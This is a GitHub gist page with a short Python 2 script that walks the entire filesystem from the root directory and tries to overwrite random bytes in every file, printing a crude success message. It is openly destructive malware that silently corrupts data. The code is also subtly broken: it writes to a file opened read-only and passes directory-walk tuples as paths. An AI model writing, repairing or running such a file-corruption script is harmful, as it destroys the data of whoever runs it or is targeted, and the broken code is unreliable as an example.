Skip to content

Instantly share code, notes, and snippets.

@alecnunn
Created June 27, 2014 01:49
Show Gist options
  • Select an option

  • Save alecnunn/e6cfb5e6ffa4f3d1535b to your computer and use it in GitHub Desktop.

Select an option

Save alecnunn/e6cfb5e6ffa4f3d1535b to your computer and use it in GitHub Desktop.
import random, struct
A = 1024
C = random.randrange(100,25000)
def c(f):
with open(f, 'rb') as f:
b = 0
d = 0
while True:
b = f.read(1)
d += 1
if not b:
break
if random.randrange(0, C) == 0 and d > A:
d += 1
e = chr(int(random.randrange(0,255)))
f.write(e)
else:
f.write(b)
f.close()
if __name__ == '__main__':
import os
for f in os.walk('/'):
for d in f:
try:
c(f)
print 'fucked'
except:
print 'broked'
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment